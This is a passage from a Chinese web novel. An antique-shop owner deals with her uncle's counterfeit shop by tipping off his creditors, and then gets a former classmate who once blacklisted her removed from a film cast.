两人倔强撇嘴，气得胸膛起起伏伏，再看他们手里，攥着不知道从哪借来的扬声喇叭。 萧妧妧哭笑不得，没管他们不情愿的躲闪，硬抢过来打开开关。 “假的假的！诈骗！不石皮斋假冒伪劣以次充好，不破斋才是正版。” 两人请声音清脆嘹亮的崔婶帮忙录音，开关一打开，在场所有人动作一致地捂住耳朵，五官皱成一团。 萧妧妧赶紧关上喇叭，去看抱着脑袋蹲在旁边的男人。 他缩在角落，两边是成堆的B+C以及非洲翠。 环顾店铺，大约20平左右的铺子像模像样摆了一圈货架，上面瓶瓶罐罐看起来挺像那么回事。 萧妧妧下巴微抬，“他是店主？” 说到关键点，萧大明顿时熄火，缩着脖子，嗫嚅嘴巴说不出话。 张芸冷哼提醒，“你再仔细看看是谁。” 萧妧妧早有猜测，看到秃脑门已经有八分确定，再看他捂着脸没脸见人的心虚姿态，心里有数了。 意料之中，店主是她的三叔，三婶王翠菊的老公，老爸萧大明的亲弟弟。 “三叔……”萧妧妧叉腰，叹气。 三叔萧大光不肯吱声，一手捂脸一手摇摆，否认。 萧妧妧头疼不已，偷瞄萧大明的脸色。 这件事说到底还得看萧大明的态度，她有再多办法使不出来也没用。 民警一听，瞬间头大，竟然还是家事。 “既然是一家人好好坐下来聊，别打起来让外人看笑话。” “不许再用喇叭了，游客听到对咱们南市印象也不好对不对？行了，报警的人来签名。” 民警自觉事情调解成功，嘱咐几句离开。 警察走了，外面围观的人跟着散去大半，一小半附近商户坚持留下看热闹。 萧妧妧知道这事没完，甚至才是刚开始。 对比萧大明和张芸，萧妧妧气定神闲，既没生气也没有质问的意思。 萧大明长叹一声，气得蹲下抓脑袋。 如出一辙的反应，萧妧妧只能说不亏是有血缘的亲兄弟。 萧妧妧没去管萧大光，一手拉起萧大明，一手扯着张芸，拽他们离开。 萧大明觉得对不起闺女，没把事情办好，推着史努比蔫头耷脑。 张芸朝他翻了个白眼，拉着萧妧妧边走边说事情始末。 其实没什么曲折的过程，萧大明听说有人冒充女儿的店铺抢生意，还敢泼脏水坏自家店铺的名声，当天找老邻居帮忙打听，拉上张芸一起去讲道理。 是的，萧大明自诩文化人，出了问题先讲道理，沟通能解决最好不过。 结果摸到目的地，看到抢自家饭碗的竟然是老三，他的亲弟弟，萧大明异常愤怒。 萧妧妧补充：“正常，我爸这是让我三叔背刺了。” 张芸语气不善：“一个被窝睡不出两种人，你三婶不是个东西，老三也不是什么好人。 亏你爸每个月都分一半养老金，养出一家子白眼狼。” 张芸越说越气，扭身，抬手，狠狠给萧大明胳膊一巴掌。 萧大明自知理亏，揉着胳膊默不作声。 萧妧妧挡在两人中间，免得自家人先闹起来。 张芸继续说：“我当天回来就想跟你说的，你爸非不让，说他能解决，等你回来了事情肯定能处理好。 结果倒好，你三叔三婶没一个省油的灯。要我说就是你爸给太多。” 萧大明小声为自己辩驳：“上个月开始没怎么给了。” 张芸一瞪眼：“没怎么给是给多少？你说啊。” 萧大明又低下头。 张芸语气严厉，指着萧大明怒冲冲的说：“这件事的性质很严重，他卖假货，还打着咱家店铺的名号，妧妧的店在网上多火啊，回头事情宣扬出去，大家只会说妧妧卖假货，老三一家分明是要砸妧妧的饭碗。” “断人财路犹如杀人父母，这话是你自己说的，老三都干出这种缺德事了，你还帮着他。” “老三和老三媳妇但凡有一个记你的好，都干不出这事。” “升米恩斗米仇，从前每个月给他们5000对你好声好气哄着，现在每个月只给2000了，马上埋怨你，埋怨你倒算了，两人铁了心要搅黄妧妧的生意。” 张芸一开口就打不住，恨不得把所有怨念倒出来，让萧大明清醒清醒。 萧大明委屈辩驳：“我没帮他，我也跟着骂了的，你不是看到了嘛，我天天拿大喇叭曝光他。” 虽然不应该，但萧妧妧想笑。 张芸翻了个白眼：“你真能耐，你怎么没把他店铺砸了呢？” 萧大明自有一套道理：“你砸了一家还能砸两家？这家是开在月牙巷让我们看见了，回头开在其他地方算怎么回事？” “再说，万一闹大了进局子，以后影响孩子考公。” “我这是在说服他。” 张芸呵了一声，嘲讽地撇嘴：“你说服了？你拿个喇叭人家也当听不见，还说服。” 萧大明脸颊涨红：“那你说怎么办，我和老三对簿公堂？” 萧妧妧看周围游客越来越多，因为两人火药味十足的对话，纷纷侧目，加快脚步赶回家。 进了门，萧妧妧让他们先歇歇，她正好打腹稿，试试看老爸的态度。 只是没等她开口，张芸灌了一杯水后主动提起话茬。 “萧大明，这事妧妧已经知道了，你今天把话说明白，老三的事你怎么想。” 萧妧妧偏头等老爸的答案。 萧大明痛苦挠头：“老三做事不地道，我当然站在咱们这边。 但是老三他不听我的啊，他那个铺子我都是今天才知道，那是咱妈偷摸留给他的，早知道我当初让他卖铺子还钱去了，何必自己贴钱。” 张芸看老伴露出懊悔神情，心情通畅。 “现在知道后悔了，谁让他们一哭穷你就掏钱的？你瞧瞧，人家还有间铺子收租呢，可不穷。” 张芸转身对萧妧妧说：“你听到了，你爸这次不会管他们死活，你看看有没有什么法子起诉他们，让那一家子吸血鬼长长记性。” 萧妧妧没敢应声，看萧大明的意思。 萧大明大约被伤透了，整个人萎靡不振，也没反驳张芸的话。 他迟疑说：“只能起诉吗？妧妧没结婚呢，以后传出去再影响她。” 张芸冷笑，白眼翻上天。 现在知道会影响闺女了，以前拿养老金填黑洞的时候怎么不想想孩子结婚的事。 萧妧妧赶紧扯回话题，如实道：“我没想起诉。” 走到依靠法律维护权益的地步，时间线拖太长，这期间三叔一家不知道能出什么幺蛾子。 就说上次起诉博主玉哥造谣、恶意竞争的事，还在排队等法院受理。 她恨不得快进到胜诉的那天，把胜诉的消息和玉哥道歉的视频录像一起发出去，再买个热搜让他彻底社死。 真到那一天，萧妧妧估计少说要等一年半载。 萧妧妧想，幸好开不石皮斋的是萧大光出面，这一家子浑身长满把柄，相对来说更好拿捏，换成其他人，真就只能走法律途径。 张芸以为她要息事宁人，不满瞪她：“你跟你爸一起发疯啊？” 萧妧妧笑：“我又没说不用别的法子，起诉太慢了。” 对付不讲理的人，可不就得用不讲理的法子。 萧大明看母女俩打眼神官司，想问几句，犹豫半天才给出一句：“妧妧你看着办吧，需要我做什么我肯定做。” 萧妧妧等的就是这句话，其实张芸也在看他的态度。 她们不在乎和老三一家撕破脸，人嫌狗憎的一家子巴不得躲远点。 她们唯一顾忌的是萧大明，他太过重视血缘亲情，不被那一家子伤一回，根本不会醒悟。 如今萧大明认清了老三一家，又被老母亲的偏心刺激，终于放弃当好哥哥，两人便毫无顾忌了。 张芸高昂头颅，像战胜的大公鸡：“我回头就找王翠菊唠唠，今天算她跑的快，不然连她一起骂。以后你的养老金一分钱别给他们！” 每个月一万多硬生生分出去一半，剩下的一半还要存着，舒坦日子非要过得紧巴巴，每每想起这茬，张芸浑身刺挠。 现在不晚，及时止损，至于已经给出去的钱，他们只能当打水漂。 萧大明恹恹应声，答应张芸不给老三一家多花一分钱。 萧大明唉声叹气，愤怒过后更多的是被亲兄弟背刺的失望伤心。 萧妧妧拉了拉张芸，张芸几次欲言又止，索性去厨房眼不见心不烦。 萧大明的表态，对萧妧妧来说等于事情的终止，只要萧大明这关过去了，其他不是问题。 回小卖部后，萧妧妧接连拨出去几通电话。 “喂，叔公，三叔一家还你们钱了吗？我听说三叔最近做生意赚了一大笔呢……” “小姑，三叔欠你们多少钱没还啊？那你们赶紧去月牙巷1123号，那是三叔的铺子，我听说好多人找去要债，你们去晚了要不到钱。” “芳芳姨，快去1123号，那是我奶奶偷摸留给我三叔的铺子，听说他打算卖铺子还钱，你们去晚了就让高利贷抢走了。” 萧妧妧给七大姑八大姨打去电话，鬼祟爆料三叔小有存款，正适合要债。 三叔为还债卖了房子车子，四处躲藏，大堂哥招惹了高利贷，离开南市不知道躲去哪， 三婶王翠菊更狠，直说自己和萧大光从没领过证，否认夫妻关系，同样也不认那些债，整天没事人一样在外面活动，只在债主上门的时候暂避风头。 一家子什么作态，大家一清二楚，可恨拿他们没办法，欠钱的是大爷。 现在好了，大家知道萧大光并不是一无所有，名下还有一间商铺，说什么都不会放过。 到了晚上，萧妧妧送走美术组的布景工人，看时间差不多，又给另外几位大堂哥的债主打电话。 “李先生吗？是我，我堂哥家做生意发财了，你看看能不能上门要点回来吧。” “姜阿姨，我堂哥……不客气不客气，大家都是受害人，互相帮助应该的。” “刘阿姨，是我堂哥有消息了……他爸最近做生意赚了钱，好多人去要债，你们多带点人……” 萧妧妧一连播出去十来通电话，说到口干舌燥。 别问她为什么会有这么多三叔家债主的电话，问就是大堂哥萧昌平不干人事，借钱的时候留她电话号码。 小小年纪的萧妧妧接到催债电话吓得当场报警，前后折腾好久把事情解决。 后来债主们找不到罪魁祸首，没少找萧妧妧打听，她费劲口舌答应会通风报信。 也是自那开始，张芸便一直看不惯老三一家。 萧妧妧继续往下划拉，找到几条备注高利贷的手机号时停下。 高利贷带人砸门的凶恶画面历历在目，让他们知道萧昌平的下落，结果会变成什么样她也不好说。 萧妧妧遵纪守法干不出更过分的事，但他们可以。 迟疑片刻，她决定拨通它们。 【作者有话说】 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“浮生若梦”,灌溉营养液 +5 202 第202章 ◎看员份吧◎ 因剧组美术组道具组着手布景,萧妧妧不得不把小卖部通往后院的那道门锁上。 孟甜甜、爱丽丝和苏娇娇只在189号院活动，没有特别情况，绝对不会穿过中间小门。 当然，柳如烟除外。 她看过无数短剧,却是第一次见幕后的拍摄过程,听说有人在隔壁拍电影,急吼吼挤到小门边,扒开挂了满墙的绿幕，露出一双贼溜溜的眼睛来回转。 萧妧妧刚引导工人把春带彩紫檀屏风搬进屋,准备带他们去挑相配的坐具摆放，一转身,对上绿幕缝隙间的黝黑眼珠子，差点吓一跳。 萧妧妧瞪了她一眼,警告她收敛点，柳如烟当然不会听,我行我素地四处乱瞟。 “萧老板,多宝架我们可以往左边移一点吗？” 萧妧妧听到美术指导的询问,连忙应声：“可以可以,随便移,架子是普通木头，不贵的，别怕。” 萧妧妧环顾一下没怎么做出大改动，却有了完全不一样的氛围的古董铺,感叹一句术业有专攻。 她还挺自得自己的陈设，现在对比着看,她的陈设只能叫把架子柜子摆出来,而不是摆出它们的气质。 萧妧妧当即决定,电影拍完，摄制组离场后，除了屏风挪走，她会把新皮肤用起来。 因为无需大改动，甚至大部分架子保持原样，整体的场景飞快搭建完成。 对大家而言最繁琐的是挑选古董摆放其中。 挑选不是问题，摆放也不是问题，大家为难的是这些古董，货真价实，一不小心就要赔得倾家荡产。 道具组撤退去月牙巷其他地方继续布景，美术指导摇来季随，一起去库房挑古董。 主要的关键道具已经定下，剩下的是季随为了满足自己想要的氛围挑选背景道具。 即便是没什么特写的布景，季随也不愿意马虎敷衍，他撇开灰扑扑的高古金器，专挑珊瑚树、翡翠瓶、碧玉如意这类一眼看过去就知道有多华丽豪奢的器具。 萧妧妧特别偏爱的那只牙雕牡丹就在其中。 美术指导抹了抹汗，自告奋勇接下跑腿的活。 这仓库真不是穷人能待下去的地方，看得人心里直冒酸水不说，关键每一件都是真品，太贵重了，他不得不打起十二万分精神。 本就在月牙巷几处拍摄点来回奔波，再绷紧神经留在库房里，堪比一场折磨。 萧妧妧躲开，语气平淡的拒绝：“不行，你手上的汗液会污损牙雕。” 美术指导一愣，连声道歉，缩着身体迈小碎步离开。 萧妧妧抽抽嘴角：“倒也不必这么小心。” 她让季随接着挑，亲自送牙雕去铺子里，听美术指导的安排摆在相应位置，再慢慢调整。 普通物件萧妧妧不会如此谨慎，偏偏为了电影拍摄，她把压箱底的好东西全掏出来。 季随眼光的确毒辣，审美也没得说，挑中的几乎是她藏品里价格偏高的一批，要么就是特别精美的那种。 萧妧妧不敢让摄制组的人接手，自己戴上手套来回跑。 188号院的巷子口，穿着休闲西装外套的女人出示许可证件，得到安保允许，领着身后人绕过障碍物。 “别玩手机了，等会见到季导好好表现。” 许萌不情愿地收起手机，挑剔看一眼乱糟糟的巷子。 “麦姐，我都在凌导那里演过电影了，怎么还把我往这种片子里塞啊，奇幻爱情片，听起来就不好卖。”她撅着嘴，嗲声嗲气的撒娇抱怨。 麦姐倏地停下脚步，半侧身狠狠斜许萌一眼。 “一流大导的小角色大家挣得头破血流，与其博那些渺茫的机会，不如多多和年轻导演合作打好关系，随便哪个熬出头，以后都是资源。” 许萌撇嘴嘀咕：“可是我看这部片子不像能熬出头的样子。” 麦姐深吸气，不得*不趁着这会掰正许萌的态度。 “不管你怎么想，待会你给我拿出100分的演技，演得谦虚机灵一点。”麦姐担心她搞砸事情，又缓和声调解释：“季导的名声你应该听过，业内其实很看好，大家挺期待他闯出来的，一旦冒头，他就是新生代商业片导演的第一人，除了大导就属他最热门。” 许萌愣了愣：“季导这么厉害的吗？” 麦姐气不打一处来：“我给你的资料你是一点没背？” 许萌垂下脑袋：“这几天录综艺有点忙……” 麦姐差点忍不住翻白眼，现在的关系户演都不演了，一点功课不做，对即将合作的导演一问三不知。 她低声警告：“给我记牢了，季导上一部片子叫《野蛮旅途》，拿下两项主流奖的最佳新人和最佳导演，虽然是小众电影，但最终票房3.3亿，成绩可以说非常亮眼。 你待会什么都别多说，见到人就夸他的片子，说错话得罪人我回头找你算账。” “您说的是季随啊？我听说过的，麦姐放心。” 眼见许萌褪去浮躁，一副认真对待的姿态，还向她保证，麦姐深吸气，压下心底的不耐烦。 “我看过剧本，虽然是个小角色，但是鲜明有特色，很多人抢着演的，要不是和选角导演有交情，轮不到你。”麦姐怕她不识好歹，再次耳提面命。 许萌连连点头：“我知道的，麦姐我听你安排。” 麦姐总算有了好脸色，“想想待会见到导演怎么说。” 许萌立刻打起腹稿。 麦姐叹气，这个关系户虽然眼高手低了些，好歹听她安排，算了算了。 略等一会，帮许萌整理好发型检查完妆容，麦姐扬起笑容牵着她走进188号院子。 一片忙碌中，麦姐很快找到熟人，绕过地上铺设的线路设备找上去打招呼。 “汪导，好久不见啊，季导在吗？我带人和他打个招呼。” 被叫做汪导的副导演放下图纸，抬头看到熟人，神情轻松。 “麦姐来啦，难得见你带新人。季导去仓库挑古董了，你们等等呗？ 那里面都是真古董，季导不让人随便进。” 麦姐哎了一声，推许萌上前，“今年刚签在我手里，许萌，演古董铺老板娘那个角色，汪导帮忙照顾一下。” 许萌拿出社交时的温柔礼貌态度，跟着叫汪导。 汪导没说什么，让场务拿来两瓶水递给她们：“店铺还在布置呢，才挑到一半，今晚估计先拍空镜，你们先去走廊下面坐一会吧，那里有椅子。” 麦姐环顾一圈，整个片场只有汪导值得花心思交流一下，但看他拿着图纸似乎挺忙，麦姐应声，拉着许萌等在一旁。 许萌打量这座小院，嘀嘀咕咕：“好旧的院子，季导怎么选这里了。” 麦姐叹气，道：“看来我在车上说的话你也没仔细听。” 许萌吐了吐舌，解释道：“我爸妈想我了，一直和我发消息呢。” 麦姐闭嘴，公司里谁不知道许萌是她爸妈走公司股东的路子把人塞进来的。 还没考上电影学院就签进来了，当时的影视部金姐负责带人，可惜演了几部剧、上过几个综艺毫无水花，试的几部影片要么没过，要么无法上映。 也就今年暑期档的一部片子有点起色，做为贯穿始终的配角，至少在电影圈里露脸了。 许萌心比天高，自觉自己要开始红了，说什么不肯回去演偶像剧，死磕电影。 麦姐手下艺人基本混迹电影圈，老板二话不说把人塞她手里。 麦姐只好再次提醒：“这间院子比你年纪还大几轮，里面开了间古董铺，听汪导说，季导一进院子就看中了。 当然，这些不重要，这家古董铺在网上很火，店里面出现的古董全部是真的，鉴定机构给证书，文物部门给出评级的那种，而且老板也是收藏家协会的人。” 许萌听得心不在焉，收藏家协会听起来没有影协厉害。 麦姐看出她的不以为然，补充道：“我的意思是，小心点别砸了东西，赔不起。” 许萌满不在乎：“古董铺的古董能有多贵，麦姐放心，真砸了我肯定赔。” 她赔不起，她有爸妈可以帮忙赔。 麦姐苦恼地揉了揉额头：“汝窑你赔得起？明青花你赔得起？保险公司估价三千万的帝王绿你配得起？” 许萌目瞪口呆：“这、这么贵？它抢钱吗？” 她抬头，古董铺的牌匾写着“春风醉”三个字，不知道原来的店铺名叫什么。 麦姐：“不然我会让你小心再小心？” 许萌吞了吞口水，打量起院子中做置景的场务，大家远没有像影视城那样乱糟糟，各个轻手轻脚。 “大哥，这个架子你往旁边挪挪，上面灯快要掉下来了。” 孟甜甜不放心这么多人在院里进进出出，见萧妧妧在仓库里忙得分身乏术，自己跑来看着点情况。 灯光师回头，看到年轻女人，态度骤然松懈：“不碍事，就放一会，马上搬走，砸不到你。” 孟甜甜柳眉倒竖，语气梆硬：“砸到我没什么事，砸坏了青花大缸是你赔还是剧组赔？” 灯光师傻眼，看着三脚架旁边的大瓷缸，满眼不可置信。 “不是，妹子，这缸多少钱啊？” 孟甜甜淡声说：“4、5000万吧。” 灯光师脸一白，扭头一声吼：“老夏，快快快搭把手，我俩把东西往旁边挪挪。” 灯光师不惜以肉身之躯挡在青花大缸前，深怕出现意外赔掉裤衩子。 早知道店里东西不便宜，他特意找角落位置暂放杂物，这下倒好，差点出大事。 另一人听到呼喊忙不迭过来帮忙，直到架子和其他杂物挪走，灯光师抹一把虚汗。 “妹子，你没骗我吧？这么贵你们怎么随便放啊。” 他语气带出一点埋怨，不过因为价格太离谱，倒没有怀疑店铺故意设局碰瓷一类的。 孟甜甜推着大缸往墙角挪几寸，“没骗你，最近刚收回来，洗干净晒太阳呢。 这叫嘉靖青花鱼藻纹缸，市场行情远不止5000万，你自己上网搜就是。” 酱菜味过于浓郁，孟甜甜没办法，隔一天洗一次晒一次，洗完仍旧有淡淡的大蒜味，只能多晒晒。 灯光师拍着胸口一阵后怕，然后询问孟甜甜能不能拍张照。 5000万的大瓷缸，真稀奇。 孟甜甜不在乎地说：“随便拍，别乱传就好。” 灯光师一边掏手机，一边满口答应，又说：“要不搬进屋吧，大家来回走动，放这里我们心慌。” 孟甜甜失笑：“行，就搬到门口台阶上吧，那里也能晒到太阳，你们又碰不着。哥，能搭把手吗？” 灯光师收了手机乐呵呵答应，也是让他逮到机会抱一下5000万。 院子一角的动静并不小，院中忙碌的人都听到了，汪导吞吞口水，再次提醒大家：“速度不一定要快，但是务必小心。” 麦姐收回目光，看许萌一眼：“知道我为什么提醒你了吧？你所有戏份都会在店铺里拍摄，接触的每件首饰、古董都价值连城。” 许萌一眨不眨盯着孟甜甜和灯光师，看他们吭哧吭哧挪大缸，话音飘忽。 “太扯了吧，几千万的古董随便放？” 她又看向对面的屋檐下，窗台下摆放了两把金灿灿的圈椅。 孟甜甜刚挪完缸，看灯光师要坐下休息，指着半块绿幕后面的椅子。 “放心坐，金丝楠木椅，坐不坏。” 灯光师手刚坐下，闻言手脚都不知道往哪搭，腾一下站起。 “妹子，这椅子多少钱啊？”他绝望地问。 孟甜甜：“不好说，3、400万有人买，5、600万也有人买，看员份吧。” 灯光师一抖，屁股一抬，索性坐在绿幕旁边的台阶上，一副敬谢不敏的姿态。 孟甜甜也没多管，站在廊下盯了一会，等萧妧妧抱着一只镶金翡翠立佛出来，才退回小卖部。 这是什么古董铺啊，真离谱……许萌抽着嘴角吐槽。 她震惊的目光刚从金丝楠木椅上挪开，冷不丁注意到一身灰扑扑T恤、戴了乳胶手套的萧妧妧穿过院子，神情更加震惊。 “萧妧妧……？” 乍然在剧组见到萧妧妧，许萌一时间没能反应过来。 她怎么在这里？ 萧妧妧抱着沉甸甸的大家伙，喊了几声“让让”，大家自觉避让。 季随实在难搞，挑剔到龟毛，选完的摆设总是不满意，来来回回换。 反正都是自家古董，萧妧妧随他去了，认命的来回跑，根本没察觉院子里多了两个人。 许萌见她忙得晕头转向，一副命很苦的样子，顿时明白过来。 说什么开小卖部，原来还是放不下演戏，都跑来剧组打杂了。 许萌似笑非笑地勾唇，拿起手机对准萧妧妧，录下一段视频。 203 第203章 ◎我演贱人很有一套◎ “开心~刚进组就看到妧妧啦,同学一场，希望以后有机会合作。” 视频发去班级大群，沉寂已久的群组渐渐活跃。 “卧槽，萌萌牛逼啊,这是哪个组？” “@萧妧妧你和萌萌一起搭戏吗？真好,咱们班只有你俩还在坚持了吧。” “等一下,戴帽子搬东西那个是萧妧妧？这演的啥,怎么灰扑扑的。” “无语，这分明没开机啊,旁边人怎么干看着，只有萧妧妧一个人在忙？” 许萌看屏幕上不停刷新的消息,弯了弯唇角。 “没有啦，还在布景呢,经纪人先带我见见导演。 感觉剧组的大家好冷漠，妧妧一个人忙得脚不沾地,可惜我还是新人,不知道怎么帮她。” “萌萌别自责,是剧组不当人。” “呃……萧妧妧去剧组当场务了？她不是在开小卖部吗？听说生意还不错。” “大概,心里还有梦吧。” 许萌没再看消息,担心导演对她印象不好，她双手环胸站在廊下，兴致盎然地盯着萧妧妧往返古董铺与仓库。 “我当你多威风呢，又是高鹭又是孟董,不过如此嘛。” 许萌嘀咕一句，眉眼间尽是昂扬的傲气。 麦姐扭头：“你说什么？” 许萌笑容甜美：“没有,我琢磨怎么在季导面前表现呢。” 麦姐脸色稍霁,虽然戏不够好,但至少懂得在戏外下功夫，不算无药可救。 萧妧妧怏怏地回到仓库，有气无力开口：“大哥，还有十三个空，要不你一次性挑吧。” 越挑空越多，才摆上去的东西没热乎，马上撤回来换新的过去，就为了让一扫而过的镜头闪瞎观众的眼。 季随歉意微笑，完全看不出他是多挑剔的人：“抱歉，萧老板先休息一会，我再考虑考虑。” 萧妧妧摆摆手，扭身跑到金丝楠木椅上瘫坐。 缓一口气，她赶紧掏出手机查看消息。 从刚才开始手机不断叮叮响，热闹得不像话，还有好朋友发来消息，不知道在说啥，震个不停。 解锁屏幕，萧妧妧意外看到沉底的班级群顶了上来，好朋友发来七八条语音，不禁挑眉。 不用猜，肯定是群里发生了什么，好朋友才忍不住戳她私聊。 萧妧妧搓搓手，兴奋点群聊吃瓜。 消息跳回顶端，看一眼头像和备注，再去看她发布的视频…… 萧妧妧笑容瞬间垮下来，吃瓜吃到自己身上了。 她又把视频拖回去看一遍，点击暂停，顺着这个视角往右前方一侧瞄去。 萧妧妧忍不住呵了一声。 冤家路窄，竟然又见到许萌了。 萧妧妧产生了和许萌同样的困惑，她怎么在这里？ 暂时没管群聊，萧妧妧回了好朋友几句。 正在这时候，许萌似乎也知道萧妧妧发现了她，双手环胸走来，微微俯身。 “真巧啊，咱们还能在剧组见到。”许萌上下打量，奚落眼神定在她脸上，嗤笑：“看来你的小卖部生意也不怎么好嘛，都跑来剧组打杂了。” 萧妧妧恍然，许萌应该是参演了电影里的角色。 这个时间点出现在这里，能演的角色只有那一个。 萧妧妧翘起二郎腿，身子往后一靠，回敬一个白眼。 许萌不以为然，只当她好面子在虚张声势，眼底闪烁恶劣作弄的光芒。 “你可小心点，别让你的脏衣服弄花了椅子，这可是金丝楠木，价值600万呢，你赔不起。” 萧妧妧意外片刻，许萌知道的还挺多。 许萌把她这份意外当成胆怯，笑容更加微妙：“看到门口那个缸了吗？青花瓷缸，一个5、6000万，你这细胳膊细腿的万一抱不住把东西摔了，剧组可不会担责。” 萧妧妧惊讶：“那么贵呢？我还以为是洗脚缸呢。” 许萌鄙夷的笑，眼白翻上天：“真是没见过世面……不知道剧组怎么选了你来打杂，说出去丢我面子。” 萧妧妧附和：“就像我也想不通，季导那么挑剔一个人怎么选了你进组，说出去我也很没面子。” 许萌并没有多生气，相反格外得意，她自动把萧妧妧这句话当成失败者的酸言酸雨、无能狂怒。 没有什么能比对头的破防更让她感到畅快。 “当然是我命好啊，是我长得漂亮，是我演技好，是我有人脉……”她挑眉看向萧妧妧：“你有什么？成绩吗？” 萧妧妧无法否认，许萌这句话放在当下环境简直再正确不过。 “马上你就没有了。”萧妧妧微笑。 许萌来不及反应这句话什么意思，仓库方向传来喊声。 “萧老板，帝王紫的珠串能上镜吗？那一套都要。”季随半边身子探出门询问。 萧妧妧大手一挥，懒散回应：“随你选。” 美术指导这时找来，“萧老板，您那件汝窑八棱杯能先拿出来摆上吗？摄像老师在试灯光和画面。 对了萧老板，道具组刚把收藏家协会的会员证书做出来，听说您有这个证书，方便我们看一眼对比一下吗？哪里不妥我们趁着没开机前改改。” 萧妧妧幽幽叹气，“唉，我可真是劳碌命啊。” 慢吞吞起身，与许萌擦身而过，萧妧妧径直离开。 许萌不可置信，他们刚才叫萧妧妧什么？ 孟甜甜从小卖部出来，喊道：“妧妧，有客户要来看货，想买你那个25克拉的无烧蓝宝石，给你订哪天合适？” 萧妧妧抽空回：“黄金周以后吧，那玩意借给高鹭姐拍戏用了，没那么快回来。” 孟甜甜比了个OK手势，麻利离开。 许萌瞪大眼睛，孟甜甜竟然不是店铺老板？ 愣神间，院子里的场务、灯光师摄影师包括几组副导演，伸着脖子往店里看。 那可是传说中的汝窑，大家都没亲眼见过。 “等会谁进去拍啊？这不得吓死。” “我听说汝窑在国外拍卖行能卖到好几亿呢，真的假的？” “真的，财务就在旁边，听说投了保险。” “我听汪导说，等东西定下了，财务要带人去统计，补充到赔偿协议清单里，肯定是真的。” “乖乖……这么多好东西都是这个年轻女老板的？” “对，那是人家私人的藏品，借季导拍电影用的。” 许萌的脸唰一下绿了。 麦姐这时拉起许萌，“刚才和你说话那个是古董铺的老板，听说很有实力，季导电影里用到的绝大部分古董、翡翠、珠宝，全部由这位老板提供，高鹭戴去电影节的翡翠就是在这家买的，你们认识？” 许萌脸色没等转成白色，麦姐拍拍她后背：“不说这些了，赶紧回神，季导这会有空，跟我去见他。” 许萌浑浑噩噩跟着麦姐走到仓库附近，勉强扯出笑容打招呼。 季随认识麦姐，他上一部片子想用麦姐手下的人，可惜没能合作成。 麦姐笑吟吟介绍：“季导，这就是演古董铺老板娘的那个孩子，今年刚毕业，谢谢您愿意给机会。上次咱们没能合作我遗憾了好久……” 许萌让萧妧妧扰了心神，一时间没想起来说点好听话寒暄，等她想开口的时候，冷不丁看到季随长相，又一次愣住。 没人跟她说季导长这么帅啊。 麦姐暗道一声失策，应该提醒一下她，季导最烦别人盯着他脸看。 季随拍电影时龟毛又难搞，私下里虽多有挑剔，但除此外还算温和，他打量许萌一眼，皱了皱眉，没多说什么。 “剧本看了吧？先演一段老板喝茶的剧情。” 这是角色第一次出场时的画面，季随想要神秘奢华又带有不羁的嚣张气质，第一幕搞砸了，后续效果大打折扣。 别看小角色出场不多，但对演员演技的质感要求不低。 主要角色他把关，配角全由选角导演定，电影仓促开拍，季随可以说是第一次见到真人，和照片比差不太多。 许萌紧张地握了握拳，麦姐也没说第一次见导演就要随地大小考。 麦姐知道她没看剧本，反正戏份不多，台词不多，许萌打算开拍前一晚临时抱佛脚来着，这下好了，重点没划呢，提前开考。 麦姐脑筋飞速转动，笑着说：“这里乱糟糟没个椅子坐，我记得老板娘刚开场要坐下端茶喝的……正好，萌萌，去那边的椅子上，金灿灿的金丝楠，多符合老板娘豪奢神秘的设定啊。” 许萌顿时意会，多看季随一眼，见他没意见，几乎同手同脚地走过去坐下，开始无实物表演。 她没读过剧本，不知道季随想要的是什么样，只能根据麦姐的提示即兴发挥。 许萌软着腰坐在椅子上，翘起二郎腿，一手做出托茶盏的姿势，一手翘起兰花指。 “噗……好像野鸡喝水啊。” 许萌才演了几秒钟，突兀的嘲笑响起，抓走了他们的注意力。 许萌假装听不见，这时候被打断等于浪费机会，继续发挥演绎—— “确实有点像。” 说话声来自季随。 他的话音落下，周遭陆续响起喷笑声，别说许萌，麦姐也脸色难看起来，两人同时僵住。 许萌气坏了，脸颊涨红，猛地扭头瞪过去，就看见萧妧妧举着手机对准她，眼底是看好戏的挑衅。 “季导，找这么差劲的演员，咱们这部片子好像要完蛋了。”萧妧妧收起手机，调侃道。 麦姐和许萌倏然变了脸，两人在娱乐圈里混，遇到的都是体面人，即使脾气不好说话直白，那也是圈子里有地位、有经验的大佬，底层演员基本没机会接受大佬的毒液喷洒。 麦姐狠狠瞥了许萌一眼，这丫头确实演技不太好，然后对着萧妧妧语气生硬地说：“萧老板，萌萌还是新人，您这么做会影响她发挥。” 萧妧妧阴阳怪气：“原来我影响力这么大啊，一句话就影响她了。” 麦姐敏锐察觉哪里不对，季随同样察觉到气氛不同，探究、狐疑的目光落在萧妧妧身上。 萧妧妧一脸嫌弃：“她演得太差了，我不同意她进组。” 许萌气得跳起来，羞恼骂道：“萧妧妧你这人真的很有意思，非要在这时候找茬吗？季导只是在你店里取景，你搞清楚自己的位置。” “我的位置我很清楚，”萧妧妧转身对季随挤挤眼睛：“如果季导坚持要用许萌，那我们的合作到此结束。” 小配角和投资方，孰轻孰重甚至不需要衡量。 季随哪还看不出来两人有仇，正好他也不太满意，从善如流：“抱歉麦姐，下次我们再合作吧。” 麦姐傻眼了，来回打量季随和萧妧妧，一时间不知道先说服哪一个争取机会。 许萌这会已经气炸了，冲到萧妧妧面前试图动手。 “你凭什么做决定？萧妧妧你就是嫉妒我对不对，你见不得我过的比你好……” 许萌抬起手到半空，眼见巴掌要落下，季随想上去拦，萧妧妧却不躲不闪，黝黑眼珠直勾勾盯着她。 “我不像你，只会背后玩封杀，我当面玩。” 许萌的手臂倏地停滞在半空，整个人犹如石化一般。 “你、你……”她结巴起来：“你怎么知道封杀的事？” 仗着爸妈的人脉和公司错综复杂的资源，许萌费点心思，轻易让萧妧妧无戏可演，说封杀也差不离。 这事她怎么会知道？ 萧妧妧本来不知道的，后来起疑，托孟有树打听了一下。 不打听不知道，发现所谓的封杀由许萌起头，萧妧妧早想找机会教训回去。 她运气好，收到孟有树的回复不到一个月就让她找到机会。 麦姐还想抢救一下，听到这里马上想起许多事情，叹气，紧闭眼眸，不愿面对现实。 “风水轮流转，你封杀我一次，我还你一次，怎么样？” 许萌如坠冰窟，又气又怕，有点语无伦次：“你不能这么做！不、你做不到的，你怎么可能封杀我？” 说到这里，许萌像找回逻辑，再次嚣张：“不过是卖古董的，你当自己是谁？” “怎么不可能？我命好，我有钱，我有人脉，”原话奉还，萧妧妧笑眯眯感叹：“这么看来，我影响力确实挺大的。” 